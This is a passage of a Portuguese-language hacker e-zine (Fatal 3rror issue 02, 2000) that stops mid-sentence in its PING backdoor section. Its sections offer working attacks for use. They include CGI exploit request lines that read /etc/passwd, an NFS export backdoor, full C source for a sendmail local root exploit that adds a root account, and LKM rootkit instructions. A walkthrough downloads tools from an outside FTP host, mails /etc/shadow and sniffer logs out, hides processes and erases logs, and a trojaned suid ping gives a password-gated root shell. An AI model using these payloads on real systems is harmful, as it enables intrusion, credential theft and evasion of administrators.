________________________ _______________________________ / __________ _______ / /_____ _____by_Cheat_Struck__/ / /__ ___ / /___ / / ___/ /___ ___ __ ___ / ___// o \ / // o \ / / /__ // o \ / o \ / \ / o \ / / / _ // // _ // /___ _____/ // _ // _ // O // _ / /__/ / //_// // //_//_____/ /_______// / \_\ / \_\\__// / \_\ )/ )/ )/ )/ )/ )/ ' ' ' ' ' ' Yeah. I like do that... Fatal 3rror Edition.......02 Date..........1/8/0 By............Cheat Struck Email.........cszine@xoommail.com Page..........http://struck.8m.com/f3 _xXXXP^'' ``^YXXXx_ _xXXXXP~ 00 - T0PiCZ ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ .od[ 00 ]bo. T0PiCZ (u read me) / Cheat Struck .od[ 01 ]bo. Introduction / Cheat Struck .od[ 02 ]bo. TiPZ / Cheat Struck .od[ 03 ]bo. CGIS / Cheat Struck .od[ 04 ]bo. NFS Backd00r / Cheat Struck .od[ 05 ]bo. Sendmail Bug / s0laris .od[ 06 ]bo. Racking Squid / Cheat Struck .od[ 07 ]bo. LKM Tips & Tricks / pcHazard .od[ 08 ]bo. PING backd00r / pcHazard .od[ 09 ]bo. Bind Scan / Cheat Struck .od[ 10 ]bo. System Bugs / Cheat Struck .od[ 11 ]bo. vulnerabilidade do lilo.conf / kamikase shell .od[ 12 ]bo. hardroot / kamikase shell .od[ 13 ]bo. PEQUENO MANUAL PARA OS HOMENS NA BALADA / humortadela .od[ 14 ]bo. Achando rastros de um ataque / Cheat Struck .od[ 15 ]bo. Fraudando Orelhoes a cartao / TPGA .od[ 16 ]bo. Attrition Scan / Cheat Struck .od[ 17 ]bo. Sniffing Simples / Cheat Struck .od[ 18 ]bo. Mais 1 programa l33t / Anonymous .od[ 19 ]bo. Emails / Cheat Struck .od[ 20 ]bo. Th3 3nd / Cheat Struck _xXXXP^'' ``^YXXXx_ _xXXXXP~ 01 - Introduction ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Eu estou tao certo q ninguem vai ler isto (exeto talvez por amigos e conhecidos q esperem q eu fale sobre eles) q no lugar de perder meu tempo escrevendo como a zine ta boa, vou simplesmente contar uma piada. Era uma vez uma mulher. Ela ja havia se casado 3 vezes porem nenhum dos casamentos deu certo. No 1o o marido batia muito nela; no 2o o marido fugiu e a deixou com todas as dividas pra pagar; e no 3o o kra nao era bom de cama. Cansada de procurar um 4o casamento, ela colocou um anuncio no jornal contando sua historia e o problema dos 3 maridos. No dia seguinte bate na campainha de sua casa um alejadinho. A mulher indignada perguntou: - Mas eu acho q voce nao entendeu direito... Voce leu todo o anuncio? E o alejadinho respondeu: - Claro! Eu sou o homem perfeito pra voce. Nao posso te bater pois nao tenho bracos. Nao posso fugir pq nao tenho pernas. - E como eu vou saber se voce eh bom de cama? - Com o que voce acha q eu toquei a campainha?? Huahauhauhauhauha!!!!! Acho q da pra encerrar a introducao aki neh?? _xXXXP^'' ``^YXXXx_ _xXXXXP~ 02 - TiPZ ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Autores dessa edicao: --------------------- Cheat Struck Kamikase Shell pcHazard s0laris <> TPGA Onde baixar a Fatal 3rror??? ---------------------------- ttp://members.xoom.com/cszine/f3 http://struck.8m.com/f3 Extraindo a f3 e seus programas: -------------------------------- [root@localhost ~]# tar -zxvf f3-02.tgz f3/ f3/f3-02.txt f3/extract.c f3/pingback.tar.gz f3/lkm.tar.gz [root@localhost ~]# cd f3 [root@localhost f3]# gcc extract.c -o extract [root@localhost f3]# ./extract f3-01.txt - Extracting sendmail/ex.c - Extracting sendmail/add.c - Extracting sendmail/mail - Extracting sendmail/.forward - Extracting bindscan/bhs.c - Extracting bindscan/bscan21.c - Extracting systembug/vul1.c - Extracting systembug/vul2.c - Extracting systembug/vul3.c - Extracting systembug/cardctl-ex.sh - Extracting attr/at-scan.pl - Extracting sniff/sniff.c - Extracting Superprogs/magico.c [root@localhost f3]# _xXXXP^'' ``^YXXXx_ _xXXXXP~ 03 - CGIS ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Notei que a ultima small-list de cgis q eu compilei (publicada na tdk) fez um sucesso inesperado sendo copiada em diversos lugares... Agora dou a voces uma verdadeira lista com quase 40 cgis e seus respectivos xploits-lines. Alguns cgis (tipo count), que precisam de programas para fazer o xploit remoto, nao foram colocados na lista para poupar espaco. Aproveitem, mas c forem copiar esta lista ou qquer coisa da zine por favor coloquem o respectivo autor. ************************** *01 PHF Executa comandos remotos. GET /cgi-bin/phf?Qalias=x%0acat%20/etc/passwd ************************** *02 CAMPAS Executa comandos remotos. GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a ************************** *03 INFO2WWW Executa comandos remotos. GET /cgi-bin/info2www '(../../../../../../../bin/mail jami 0 gid 0 Substitua , pelos seus respectivos ids. Agora resete o mountd: ~# killall -1 rfc.mountd E prontu.... ~# showmount -e host.backdado Export list for host.backdado: / * ~# mount -t nfs host.backdado:/ /nfs ~# cd /nfs ~# Agora c tem root remotly.... RLZ!!! _xXXXP^'' ``^YXXXx_ _xXXXXP~ 05 - Sendmail Bug ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ s0laris _dXXXXP~ ~YXXXbx.. ..xdXXXP~ A t3kn33k que eu vou explicar aqui pode ser aplicada em qualquer maquina linux que esteja usando o kernel 2.2.15, OU MAIS ANTIGO e esteja rodando o sendmail, nas versoes INFERIORES a 8.10.2. Hummm... se voce fizer uma pesquisa, vai descobrir que mais 90% das maquinas linux, rodando como servidores estao dentro desse perfil. Nota: o kernel 2.2.16 esta patcheado, porem no 2.4.0 (o mais novo, ainda instavel) o bug nao foi corrigido. Bom, para ter sucesso basta ter uma conta no sistema. Portanto nao se pode obter permissoes de r00t remotamente usando esta tecnica. Vamos ao que interessa. Envie por ftp os arquivos: <++> sendmail/ex.c #include int main (void) { cap_user_header_t header; cap_user_data_t data; header = malloc(8); data = malloc(12); header->pid = 0; header->version = _LINUX_CAPABILITY_VERSION; data->inheritable = data->effective = data->permitted = 0; capset(header, data); execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL); } <--> <++> sendmail/add.c #include int main (void) { int fd; char string[40]; seteuid(0); fd = open("/etc/passwd", O_APPEND|O_WRONLY); strcpy(string, "yomama:x:0:0::/root:/bin/sh\n"); write(fd, string, strlen(string)); close(fd); fd = open("/etc/shadow", O_APPEND|O_WRONLY); strcpy(string, "yomama::11029:0:99999:7:::"); write(fd, string, strlen(string)); close(fd); } <--> <++> sendmail/mail From: yomama@foobar.com To: localuser@localdomain.com Subject: foo bar . <--> <++> sendmail/.forward |./add <--> Detalhe: esses arquivos devem ficar no diretorio do usuario. Pronto, depois dos arquivo enviados, logue no sistema e compile o ex.c e o add.c. # gcc -o add add.c # gcc -o ex ex.c Agora faca o seguinte: # ./ex < mail # su yomama Voce r00teou a maquina!! Agora vou explicar por alto o q o exploit faz. Ele explora um bug do kernel e faz com que o daemon sendmail (q eh executado pelo root), atraves de um envio de e-mail, insira uma linha no /etc/passwd e /etc/shadow da maquina, criando assim um usuario, q sera chamado no caso de yomama. Basta dar uma lida nos fontes dos explois que vc vera rapidinho como ele funciona. s0laris _xXXXP^'' ``^YXXXx_ _xXXXXP~ 06 - Racking Squid ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Squid e' um proxy para web que suporta FTP, gopher e HTTP. Vamos dar uma olhada nas permissoes do /etc/squid... [root@localhost squid]# ls -la total 167 drwxr-xr-x 4 nobody nobody 1024 abr 14 05:49 . drwxr-xr-x 35 root root 3072 jun 7 02:09 .. drwxr-xr-x 2 nobody nobody 1024 abr 14 05:49 errors drwxr-xr-x 2 nobody nobody 1024 abr 14 05:49 icons -rw-r--r-- 1 nobody nobody 24135 dez 14 1998 mib.txt -rw-r--r-- 1 nobody nobody 6820 dez 14 1998 mime.conf -rw-r--r-- 1 nobody nobody 6820 dez 14 1998 mime.conf.default -rw-r--r-- 1 nobody nobody 60878 dez 14 1998 squid.conf -rw-r--r-- 1 nobody nobody 60878 dez 14 1998 squid.conf.default Entao basta ter acesso nobody para que possamos configurar o squid. Como conseguimos acesso nobody?? Xploitando os famosos cgis... C voce conseguir executar um comando remotly atraves de cgis do tipo phf, campas ou faxsurvey, crie uma suidshell. Depois loge-se e execute a suidshell. Pronto! Vc eh nobody. Ou seja ninguem!!!! Mas esse "ninguem" pode mudar os files de configuracao do squid. Vamos dar uma olhada em algo bem maneiro que podemos fazer... veja os arquivos em /etc/squid/errors. Lah estao os htmls de todas as mensagens de erros do squid. Um exemplo: Edite o arquivo /etc/squid/errors/ERR_INVALID_URL. Mude tudo... coloque a msg q voce quizer... tipo "Voce errou o url seu otario. Escreve direito ou eu vou explodir seu hd". Agora restarte o squid. Sim, o user nobody pode fazer issu tambem. And its done! Soh pra lembrar... a porta padrao do squid eh 3128. _xXXXP^'' ``^YXXXx_ _xXXXXP~ 07 - LKM Tips & Tricks ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ pcHazard _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Primeiro, gostaria de parabenizar essa zine por ser um dos zines brasileiros sobre seguranca que, apesar de ser relativamente nova possui um grande nivel de informacao, e eu particulamente gostei dela porque nao fica "enchendo linguica" com aquelas *coisinhas* que vc aprende lendo, por exemplo, uma pagina de manual do MAN ou qq outra coisa obvia e que qualquer um sabe... Essa e' a primeira vez que escrevo para uma zine e espero escrever muito mais... Issue que vem, quem sabe. Eu tenho uma teoria a respeito de zines: seria melhor se, ao inves das pessoas fazerem seus proprios zines ( por exemplo, 100 zines diferentes com umas 5 materias cada e uma tiragem de 2 issues :-O ), podia haver apenas um zine e as pessoas escreveriam suas materias e a enviariam para esse unico zine que, dentro de pouco tempo se tornaria uma verdadeira "knowledge base" sobre seguranca etc... Mas isso e' so' uma teoria. Agora, vamos deixar de papo e ir ao que realmente interessa no momento... Ao ler essa secao, considere que tudo aqui foi "testado e aprovado" na minha maquina Linux ( Slack 7 c/ kernel 2.2.13 ), e que caso as coisas citadas aqui nao funcione na sua maquina, tente atualizar seu Linux em geral para uma versao mais nova, pois so os kernels da serie 2.1.x em diante se nao me engano possuem suporte a LKM ( ha' tambem algums modulos para 2.0.x mas que sao diferentes dos novos como, por exemplo, no tratamento de informacoes como IRQ etc. de uma certa placa especificados como parametro no momento da instalacao do modulo no kernel ), e por isso os programas que acompanham a zine nao funcionariam. .--------------. .-----------' LKM Tips `-------------. | | | Introducao, Conceitos basicos e principais | | funcoes de gerenciamento | `--------------------------------------------' ------------------------------ | LKM = Loadable Kernel Module | ------------------------------ Essa maravilha foi criada com o intuito de facilitar o suporte a outros hardwares etc. sem a necessidade de se adicionar um codigo fonte ao kernel do linux e ter que recompilar o kernel... Por exemplo, se voce possui seu som configurado corretamente no linux, e' provavel que esteja usando modulos como, por exemplo, mpu401.o etc. Os LKMs sao feitos em C (nao conheco outra linguagem que gere LKMs) e sua funcao principal e' definida como init_module() e nao main() como se costuma usar em programas comuns. A funcao cleanup_module() e' chamada quando se desinstala o modulo do kernel. Devido ao fato de LKMs trabalham a nivel de kernel (equivalente aos .VXD do Windows), interagindo diretamente com ele, eles so podem ser manuseados pelo Administrador do Sistema, ou qualquer um que consiga nivel de root em algum host ( a parte mais interessante... ) Para permitir uma maior flexibilidade e compatibilidade com diversas configuracoes, os modulos tambem podem receber instrucoes sobre enderecamento, IRQ etc. de certas placas na hora em que sao instalados no kernel. Note isso no arquivo /etc/conf.modules, que chama o modulo /lib/modules/2.2.13/misc/ mpu401.o usando o endereco 0x330 p/ entrada e saida da placa de som e usa o irq=11 ( no meu caso eu uso a placa de som CMI8330 onboard ) e o modulo /lib/modules/2.2.13/misc/sb.o usando o endereco 0x220 p/ IO, irq 5, dma=1 e dma16 = 5, configuracoes estas que devem ser definidas corretamente para que tudo funcione normalmente. No meu caso, eu olhei os enderecamentos e IRQs na configuracao do Win95 ( enfim, util para alguma coisa...) e com o programa CMIUTIL.EXE que vem no CD da placa mae. Ha' casos tambem em que pode-se usar LKMs para configurar alguns dos temidos WinModems. Para ajudar a entender isso, veja alguns comandos relacionados a modulos no kernel: LSMOD Lista os modulos abertos no kernel. Esta lista e' um "cat" do arquivo /proc/modules localhost:/home/pchazard# lsmod Module Size Used by mpu401 18640 0 (unused) sb 33236 0 (unused) uart401 5872 0 [sb] sound 57176 0 [mpu401 sb uart401] soundlow 224 0 [sound] soundcore 2116 6 [sb sound] iBCS 135456 0 pcmcia_core 39080 0 bsd_comp 3568 0 (unused) ppp 20428 0 [bsd_comp] slip 7188 0 (unused) <-- note esse aqui slhc 4300 0 [ppp] lp 5660 0 (unused) parport_pc 5588 1 parport 6724 1 [lp parport_pc] localhost:/home/pchazard# cat /proc/modules mpu401 18640 0 (unused) sb 33236 0 (unused) uart401 5872 0 [sb] sound 57176 0 [mpu401 sb uart401] soundlow 224 0 [sound] soundcore 2116 6 [sb sound] iBCS 135456 0 pcmcia_core 39080 0 bsd_comp 3568 0 (unused) ppp 20428 0 [bsd_comp] slip 7188 0 (unused) slhc 4300 0 [ppp] lp 5660 0 (unused) parport_pc 5588 1 parport 6724 1 [lp parport_pc] localhost:/home/pchazard# cat /etc/conf.modules alias sound sb alias midi mpu401 options mpu401 io=0x330 irq=11 options sb io=0x220 irq=5 dma=1 dma16=5 RMMOD Remove algum modulo do kernel localhost:/home/pchazard# rmmod slip localhost:/home/pchazard# lsmod Module Size Used by mpu401 18640 0 (unused) sb 33236 0 (unused) uart401 5872 0 [sb] sound 57176 0 [mpu401 sb uart401] soundlow 224 0 [sound] soundcore 2116 6 [sb sound] iBCS 135456 0 pcmcia_core 39080 0 bsd_comp 3568 0 (unused) ppp 20428 0 [bsd_comp] slhc 4300 0 [ppp] lp 5660 0 (unused) parport_pc 5588 1 parport 6724 1 [lp parport_pc] INSMOD Insere um modulo no kernel Repare que os modulos, a medida que vao sendo inseridos no kernel vao ficando no topo da lista. Notar isso vai ser importante para entender como nos podemos tirar proveito dos LKMs aonde nos seriam ainda mais uteis... E sem serem detec- tados !!! localhost:/home/pchazard# insmod mymodule.o localhost:/home/pchazard# lsmod Module Size Used by mymodule 15216 0 (unused) <-- olha ele aqui mpu401 18640 0 (unused) sb 33236 0 (unused) uart401 5872 0 [sb] sound 57176 0 [mpu401 sb uart401] soundlow 224 0 [sound] soundcore 2116 6 [sb sound] iBCS 135456 0 pcmcia_core 39080 0 bsd_comp 3568 0 (unused) ppp 20428 0 [bsd_comp] slhc 4300 0 [ppp] lp 5660 0 (unused) parport_pc 5588 1 parport 6724 1 [lp parport_pc] DEPMOD Ele "escaneia" os modulos guardados no diretorio padrao para modulos ( no caso, /lib/modules/2.2.13/ ) e cria uma lista de simbolos encontrados nesses modulos que chamaremos de "Lista de Dependencias" que e' salva no arquivo /lib/modules/2.2.13/modules.dep. Essa lista e' posteriormente usada pelo comando MODPROBE que veremos mais adiante. Um exemplo do uso dos comandos depmod e modprobe esta' no arquivo /etc/rc.d/rc.modules. Esses dois comandos usam tambem o arquivo /etc/conf.modules como base da lista de modulos a serem usados pelo sistema. MODPROBE Ele usa a Lista de Dependencias para localizar e abrir automaticamente os modulos que o sistema ou o usuario precisara usar junto com o kernel. Ele e' executado na hora em que o Linux e' carregado pelo script /etc/rc.d/rc.modules. Mais exemplos do uso desses comandos podem ser encontrados nas paginas MAN do linux e no Mini-Howto Modules .--------------. .----------------' LKM Tricks `-------------------. | Ou voce achou que algo tao legal como os LKMs so' | | serviriam para configurar sua placa de som ? | `-------------------------------------------------------' E' como se diz hoje em dia: qualquer coisa pode ser usada tanto para o bem como para o "mal". E porque que com os LKMs seria diferente? Por atuar em conjunto com o kernel, ha' varias coisas curiosas que podem ser feitas usando os recursos dos LKMs. Na internet ha' varios exemplos de LKMs para download em que se usa funcoes como capacidade de esconder arquivos e processos de listagens ( nada dos antigos ls.c e ps.c que se encontram naqueles rootkits... ), redirecionameto de executaveis, esconder algumas portas da listagem do NETSTAT, executar comandos como r00t local e remotamente e ate' sniffers... Mas, como tudo que e' bom tem seus "porems"... Devido ao fato dos LKMs trabalharem em conjunto com o kernel, e' necessario que eles sejam bem escritos, ou poderao aparecer erros inesperados (e fatais) Aconteceu comigo mesmo, depois de dar um "shutdown -r now" com o modulo knark aberto o kernel entrou em pane antes de rebootar a maquina, mas isso so' aconteceu uma vez. Logo, deixo bem claro que nao me responsabilizo por eventuais danos que os modulos venham a causar ( apesar de ser dificil eles causarem um dano como danificar o sistema de arquivos etc,mesmo sendo fechados "na tora" ) e, por isso, se voce sabe o que e' bom pra voce, evite testar modulos pela primeira vez em alguma maquina que esteja sendo usada como servidor de rede etc. porque ela pode travar etc. Mas, quanto aos modulos abaixo, eu garanto que vale a pena dar uma olhada neles,e depois que estiverem seguros do seu bom funcionamento, voce pode usa-los como parte de seu rootkit pessoal etc. Enfim, como voce bem entender e como for mais util a voce. Pra galera que ta comecando agora e ja ta ficando com agua na boca, eu nao podia deixar de disponibilizar pro pessoal alguns LKMs que eu achei por ai' na net... Os exemplos de LKMs estao no arquivo lkm.tar.gz que acompanha a zine. Para descompactar: localhost:/root/zines/f3# gzip -d lkm.tar.gz localhost:/root/zines/f3# tar xvf lkm.tar lkm/heroin.c lkm/knark-0_59.tar lkm/krnsniff.c lkm/linspy.tar lkm/adore14.tar localhost:/root/zines/f3# cd lkm localhost:/root/zines/f3# tar xvf knark-0_59.tar knark-0.59/ knark-0.59/README knark-0.59/Makefile knark-0.59/src/ knark-0.59/src/ered.c knark-0.59/src/hidef.c knark-0.59/src/knark.c knark-0.59/src/modhide.c knark-0.59/src/rootme.c knark-0.59/src/taskhack.c knark-0.59/src/knark.h knark-0.59/src/rexec.c knark-0.59/src/nethide.c knark-0.59/src/author_banner.c localhost:/root/zines/f3# cd knark-0.59 localhost:/root/zines/f3/lkm/knark-0.59# make ... .------------. | heroin `--------------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Escrito por Runar Jensen Eu nao consegui compilar ele na minha maquina, mas decidi mandar ele tambe'm, afinal se ja' funcionou na maquina de alguem, pode funcionar na sua tb... .------------. | linspy `--------------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Esse veio com a phrack 50... E' um modulo para permitir interagir com outros TTYs. Nao compilou na minha maquina. .------------. | adore `--------------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Esse e' um dos novos, chama a atencao pela capacidade de esconder uma determinada porta definida no Makefile do netstat... Ele e' o mais novo que conheco. E' pequeno e suas funcoes sao chamadas por apenas um prograva (ava.c). Possui uma maneira mais inteligente de se auto-remover da lista de modulos. Ao contrario do knark que se usa o modhide.o, o adore ja' possui uma funcao que tira seu nome da lista de modulos. .------------. | krnsniff `--------------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Como eu havia dito, eis um sniffer em LKM !!! O arquivo de log fica em /tmp/sniff.log mas pode ser trocado nos fontes. insmod krnsniff.o [dev=] .------------. | knark `--------------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - E' um pacote muito legal (e que funciona...) Vem com os fontes e instrucoes sobre como compilar e usar. Conteudo (apos compilado): knark.o O Modulo propriamente dito. Possui algumas particularidades, como por exemplo: 1. Escondendo Processos Enviando-se um SIGNAL 31 para um processo, ele ficara' invisivel da lista de processos do LS e TOP.... Nao funcionou na minha maquina. 2. Encobrir Sniffers SNIFFER: Programa usado para capturar senhas de conexoes. Captura as primeiras "linhas" de texto de uma conexao atras da secao de identificacao ( USER/PASS, login/password ). Ex: linsniffer, gdd13, sniffit. INTERFACE: Nome usado para representar um dispositivo de acesso a alguma rede. Por exemplo, quando voce entra na internet, a interface ppp0 e' ativa. Se voce esta em uma rede local, voce esta com a interface eth0 ligada, e se voce esta so' com seu Linux so' como Desktop para uso pessoal vc possui a interface "lo" ligada. Para listar as interfaces: ifconfig. Quando um sniffer esta rodando em um determinado sistema, ele define a Interface em que ele estara escutando como estando no "modo promiscuo". Um dos modos dos detectadores de sniffers trabalharem e' vendo se a interface esta no modo promiscuo. O knark faz com que a interface seja reconhecida como nao estando como promiscua, mesmo se o sniffer estiver rodando. ( note que ele nao retira a interface do modo promiscuo, senao o sniffer nao funcionaria. Ele apenas mascara o resultado IFF_PROMISC do tipo SIOCGIFFLAGS ). modhide.o Outro modulo adicional usado para retirar os modulos da lista do lsmod ( lembra-se que eu falei sobre a posicao dos modulos apos ser inseridos com o comando INSMOD ??? ). A cada vez que voce o inicia, ele vai retirando um modulo do topo da lista. ered Usado para redirecionar executaveis. hidef Usado para tornar arquivos invisiveis a comandos como ls etc. Mesmo apos "hideados", os arquivos podem ser manipulados normalmente ( se e' que mecher com algo invisivel pode ser chamado de normal ) :-)) nethide Usado para remover os dados existentes no NETSTAT que nada mais sao do que um modo mais bonitinho de mostrar os arquivos /proc/net/tcp|udp etc. Nao funcionou na minha maquina ( ou nao usei corretamente ). rexec Usado para executar comandos remotamente como root em uma maquina que esteja rodando o knark.o rootme Esse e' legal e funcionou comigo... Ele executa qualquer programa para voce usando o nivel de root. taskhack Ele estava dando erro ao compilar entao eu //comentei alguns #includes. Se der erro na sua maquina e ele nao gerar o executavel, descomente-os e tente novamente. Ele possui uma otima proposta: pode trocar o *UID* de qualquer processo rodando... Por exemplo, voce pode trocar o UID do -bash para 0 e funcionar como root... ( testei e funcionou, fica muito estranho uma shell r00t com $ ...) .---------------. | Usando o Knark `-----------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - localhost:/home/pchazard# telnet alvo.com.br Trying alvo.com.br... Connected to alvo.com.br. Escape character is '^]'. alvo.com.br ----------- Proibido o uso deste servico por qualquer pessoa nao autorizada bla bla blaa blaaa... alvo login: joaofg Password: Last login: Wed Apr 26 21:33:06 -0300 2000 on ttyp8 from igor.alvo.com.br. No mail. My doctor told me to stop having intimate dinners for four. Unless there are three other people. -- Orson Welles alvo:~$ uname -a RedHat Linux 6.0 localhost 2.2.14 #127 Thu Oct 21 13:13:20 CDT 1999 i686 unknown alvo:~$ wget -q ftp://200.242.183.16/imwheel.c alvo:~$ wget -q ftp://200.242.183.16/cloak alvo:~$ chmod +x cloak alvo:~$ wget -q ftp://200.242.183.16/knark.o alvo:~$ wget -q ftp://200.242.183.16/modhide.o alvo:~$ wget -q ftp://200.242.183.16/ping alvo:~$ wget -q ftp://200.242.183.16/linsniffer alvo:~$ wget -q ftp://200.242.183.16/unlastlog alvo:~$ wget -q ftp://200.242.183.16/hidef alvo:~$ chmod +x linsniffer alvo:~$ chmod +x unlastlog alvo:~$ chmod +xs ping alvo:~$ chmod +x hidef alvo:~$ gcc -o imwheelx imwheel.c alvo:~$ ./imwheelx 1065 ... alvo:~$ ./imwheelx 1085 ... alvo:~$ ./imwheelx 1115 ... bash-2.03# tty /dev/ttyp3 bash-2.03# pwd /home/joaofg bash-2.03# who | grep ttyp3 root ttyp3 Oct 21 13:20 (200.242.183.16) bash-2.03# ./cloak cloakme You are now cloaked bash-2.03# mv knark.o /lib/modules/2.2.14/misc bash-2.03# who | grep ttyp3 bash-2.03# mail pchazard@200.242.183.16 < /etc/shadow bash-2.03# mv ping /bin/ping bash-2.03# linsniffer& [1] 2413 bash-2.03# insmod /lib/modules/2.2.14/misc/knark.o bash-2.03# insmod modhide.o modhide.o: init_module: Device or resource busy bash-2.03# ps aux | grep 2413 root 2413 32.0 9.8 1756 1028 ttyp3 S 01:35 0:00 /home/joaofg/linsniffer root 2414 0.0 1.3 1124 404 ttyp3 S 01:54 0:00 grep 2413 bash-2.03# kill -31 2413 bash-2.03# ./hidef linsniffer bash-2.03# ./hidef tcp.log bash-2.03# ./hidef cloak bash-2.03# ./hidef /proc/knark bash-2.03# ps aux | grep 2413 root 2415 0.0 1.3 1124 404 ttyp3 S 01:54 0:00 grep 2413 bash-2.03# ./hidef ./unlastlog bash-2.03# rm imwheel.c bash-2.03# rm imwheel bash-2.03# rm knark.o bash-2.03# rm modhide.o bash-2.03# rm hidef bash-2.03# exit logout Connection closed by foreign host. localhost:/home/pchazard# cd knark-0.59 localhost:/home/pchazard/knark-0.59# ./rexec 127.0.0.1 alvo.com.br /home/joaofg/unlastlog joaofg /home/joaofg/.bash_history 18 rexec.c by Creed @ #hack.se 1999 Done. exec "/home/joaofg/unlastlog joaofg /home/joaofg/.bash_history 18" requested on alvo.com.br from 127.0.0.1 localhost:/home/pchazard/knark-0.59# ./rexec 127.0.0.1 alvo.com.br /home/joaofg/unlastlog - /root/.bash_history 24 rexec.c by Creed @ #hack.se 1999 Done. exec "/home/joaofg/unlastlog - /root/.bash_history 24" requested on alvo.com.br from 127.0.0.1 localhost:/home/pchazard/knark-0.59# ./rexec 127.0.0.1 alvo.com.br /bin/rm /home/joaofg/unlastlog rexec.c by Creed @ #hack.se 1999 Done. exec "/bin/rm /home/joaofg/unlastlog" requested on alvo.com.br from 127.0.0.1 localhost:/home/pchazard/knark-0.59# localhost:/home/pchazard/knark-0.59# localhost:/home/pchazard/knark-0.59# localhost:/home/pchazard/knark-0.59# You have mail in /var/spool/mail/pchazard localhost:/home/pchazard/knark-0.59# * * * De tempos em tempos * * * localhost:/home/pchazard/knark-0.59# ./rexec 127.0.0.1 alvo.com.br /bin/mail pchazard@ig.com.br < /home/joaofg/tcp.log rexec.c by Creed @ #hack.se 1999 Done. exec "/bin/mail pchazard@ig.com.br < /home/joaofg/tcp.log" requested on alvo.com.br from 127.0.0.1 "There is no power without knowledge" Alguem "O Linux e' um sistema operacional amigavel, o fato e' que ele escolhe melhor seus amigos" Outro alguem Copyleft (cl) 14 Jun 2000 12:45:12 by PCHazard - pchazard@ig.com.br _xXXXP^'' ``^YXXXx_ _xXXXXP~ 08 - PING backd00r ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ pcHazard _dXXXXP~ ~YXXXbx.. ..xdXXXP~ well... vc ja' viu um daqueles sistemas que estao tao mechidos, baguncados e desatualizados que parece que o sysadmin entrou em coma e nao tem ninguem pra tomar o lugar dele ? Tipo aqueles com sendmail 8.8.2, kernel 2.0.33 etc. pois e'... agora, todos conhecem aquele programinha "ping" que a gente usa pra ver se um host existe etc. pois e', acontece que ele e' por padrao suidroot :-) bem, num sistema desses e' bem capaz que o buffer overflow pro ping antigo funcione, mas me refiro aqui a uma backdoor, que depois que vc pegar root no lugar vc instala ele no lugar do ping (pacote netkit-base) e pronto. Vamos exemplificar: alvo.com.br: bash-2.03# wget -q ftp://200.241.235.26/ping bash-2.03# chmod +xs ping bash-2.03# mv ping /bin/ping bash-2.03# ping usage: ping [-LRdfnqrv] [-c count] [-i wait] [-l preload] [-p pattern] [-s packetsize] [-t ttl] [-I interface address] host bash-2.03# exit E pronto. O ping backdoor ja' esta' instalado. Para utilizar: alvo:~$ ping usage: ping [-LRdfnqrv] [-c count] [-i wait] [-l preload] [-p pattern] [-s packetsize] [-t ttl] [-I interface address] host alvo:~$ ping -b Enter option:not4you Argument: bash bash-2.03# E pronto. Os fontes modificados do ping acompanham este zine (pingback.tar.gz) Pra quem nao percebeu, esse not4you e' uma senha definida no ping.c que pode ser alterada. O Ping backdoor nao executara os parametros do comando dado, logo, execute somente o nome do programa como /bin/bash, ou se nao desejar rodar a shell, crie um script com as coisas que devem ser executadas e faca o 